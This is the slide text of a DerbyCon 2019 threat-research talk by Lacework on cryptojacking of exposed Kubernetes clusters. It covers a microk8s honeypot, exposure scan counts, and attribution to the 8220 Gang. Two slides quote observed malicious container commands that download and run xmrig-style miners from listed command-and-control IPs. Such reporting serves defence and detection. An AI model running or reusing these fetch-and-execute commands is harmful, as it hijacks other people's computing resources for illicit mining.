Lacework's Dir. of Research's presentation from DerbyCon 2019: Prepare to be Boarded! A Tale of Kubernetes, Plunder, and Cryptobooty

1. @laceworklabs
Prepare to be Boarded!
A Tale of Kubernetes,
Plunder, and
Cryptobooty
James Condon
DerbyCon 2019

2. @laceworklabs
cryptobooty
cryp • to • boo • ty
/ˈkriptō bo͞odē/
noun
Cryptocurrency obtained from illicit coinmining in a Kubernetes cluster.

3. @laceworklabs
whoami
• James Condon, Director of Research @ Lacework
• Former USAF OSI, Mandiant, and ProtectWise
• Network Forensics, Incident Response, Threat Intelligence, Cloud Security
TwiIer: @laceworklabs, @jameswcondon
Email: james@lacework.com
Blog: www.lacework.com/blog/

4. @laceworklabs
Networking
Provisioning
Security
Storage
Redundancy
Auto-Scaling

5. @laceworklabs

6. @laceworklabs
Master
API Server
etcd
Scheduler
Control Manger
Node
Kubelet
Pod 1...n
Node
Kubelet
Pod 1...n
UI
Dashboard
CLI
BASIC ARCHITECTURE

7. @laceworklabs
EXPOSED
CLUSTER
RESEARCH

8. @laceworklabs
Commonly
Misconfigured
K8s
Components
Dashboard API Server
etcd Kubelet

9. @laceworklabs
DISCOVERING DASHBOARDS DEMO

10. @laceworklabs
500 2,400
21,000 600
DASHBOARDS ETCD CLUSTERS
API SERVERS (SECURE) API SERVERS (INSECURE)

11. @laceworklabs
SETTING A
TRAP

12. @laceworklabs
CURIOUS ABOUT K8s ATTACKS
• Based on exposure we discovered, how is it
exploited?
• K8s is relaVvely newer, how long will
compromise take?
• Whats the best way to setup our honeypot?
• Is there any other reporVng we can find?

13. @laceworklabs
MICROK8s & SUPPOIE

14. @laceworklabs
MICROK8s & SUPPOIE

15. @laceworklabs
WHAT IS MICROK8s?
• Single-node K8s cluster.
• Very easy to setup
• Use it for offline development, prototyping,
testing, or use it on a VM as a small, cheap,
reliable k8s for CI/CD.

16. @laceworklabs
SETTING UP OUR HONEYPOT
• Spin up Ubuntu Server
• Install microk8s via snap
• Enable Kubernetes dashboard and DNS
• Check insecure api is accessible
• Expose instance to allow all traffic
• Start tcpdump trace for interesting ports
• DISCLAIMER: microk8s is NOT intended to be
used like this

17. @laceworklabs
THE ATTACK
• Expected an attack with 24 hours, ended up being
31 days!
• Dashboard left untouched
• Lots of general internet scanning, nothing k8s
specific

18. @laceworklabs

19. @laceworklabs

20. @laceworklabs

21. @laceworklabs

22. @laceworklabs

23. @laceworklabs
THE ATTACKERS
• C2 IP
• Reported by mulVple security vendors
• Reported in private security research
• MulVple Ves to 8220 Gang
• Used in various Cryptojacking aIacks
(outside K8s)
• Monero Address & Mining Pools
• Reported in various Cryptojacking
campaigns including Kubernetes aIacks

24. @laceworklabs
ASSESSING
THE DAMAGE

25. @laceworklabs
SCANNING FOR INSECURE APIs - IPs
• At time of research, 678 IPs in censys search for
insecure APIs
• Mostly TCP port 8080 & 443
• Primarily Amazon, GCP, OVH, Tencent, & Alibaba
• US, China, Germany, and Ireland

26. @laceworklabs
SCANNING POD CONFIGs
• 10,743 Pods
• Common Pod names: mi125yap*,
y1ee115-*, y1ee114-*
• Common Labels & Container names:
myresd02 & myresd01
• Most popular image: centos

27. @laceworklabs
CONTAINER COMMANDS INDICATIVE OF COMRPOMISE
curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o /var/tmp/config.json
http://202.144.193.159/222.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;./xmrig -c
config.json
curl -o /var/tmp/config.json http://192.99.142.232:8220/222.json;curl -o
/var/tmp/suppoie1 http://192.99.142.232:8220/tte2;chmod 777 /var/tmp/suppoie1;cd
/var/tmp;./suppoie1 -c config.json
curl -o /var/tmp/config.json http://192.99.142.232:8220/2.json;curl -o
/var/tmp/suppoie http://192.99.142.232:8220/rig;chmod 777 /var/tmp/suppoie;cd
/var/tmp;./suppoie -c config.json

28. @laceworklabs
CONTAINER COMMANDS INDICATIVE OF COMRPOMISE
curl -o /var/tmp/config.json http://158.69.133.18:8220/222.json;curl -o
/var/tmp/suppoie1 http://158.69.133.18:8220/tte2;chmod 777 /var/tmp/suppoie1;cd
/var/tmp;./suppoie1 -c config.json
curl -L --progress-bar
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o
/var/tmp/xmrig.tar.gz;tar -xzvf xmrig;curl -o /var/tmp/config.json
http://202.144.193.159/222.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;./xmrig -c
config.json

29. @laceworklabs
4,450
CRYPTOJACKING
PODS

30. @laceworklabs
C2 IPs
• 202.144.193.159
• Seen in our honeypot
• Two different download methods
• Not much open source reporting
• 192.99.142.232
• Seen in prior microk8s reporting
• Uses suppioe naming, and 8220 gang
TTPs
• 158.69.133.18
• Seen in “Drupalgeddon” aIacks
• Uses suppioe naming, and 8220 gang
TTPs

31. @laceworklabs
FINAL THOUGHTS
• Cryptojacking is the Vp of the iceberg
• There is much more an aIacker could do in
these scenarios…such as pivoVng to the
cloud service provider

32. @laceworklabs
resources
1. Tesla Exposed Dashboard https://redlock.io/blog/cryptojacking-tesla
2. Lacework Containers at Risk Report https://info.lacework.com/hubfs/Containers%20At-
Risk_%20A%20Review%20of%2021,000%20Cloud%20Environments.pdf
3. Exposed etcd Clusters Blog https://elweb.co/the-security-footgun-in-etcd/
4. Lacework exposed etcd Clusters Blog https://www.lacework.com/etcd-thousands-of-clusters-open/
5. Kubernetes Illustrated Children's Guide: https://youtu.be/4ht22ReBjno
6. An overview of MicroK8s (a tool to quick-start a Kubernetes cluster) and why using it in the cloud was a terrible
idea (https://medium.com/faun/an-overview-of-microk8s-and-why-using-it-in-the-cloud-was-a-terrible-idea-
9ba8506dc467)
7. Suppoie Crypto Hijack (https://blog.infostruction.com/2018/04/24/suppoie-crypto-hijack/)
8. Cryptojacking Campaign Targets Exposed Kubernetes Clusters (https://www.lacework.com/cryptojacking-
targets-exposed-kubernetes-clusters/)
9. MicroK8s PR - Get most services out of the default interface (https://github.com/ubuntu/microk8s/pull/88)

33. @laceworklabs
QUESTIONS
Twitter: @laceworklabs, @jameswcondon
Email: james@lacework.com
Blog: www.lacework.com/blog/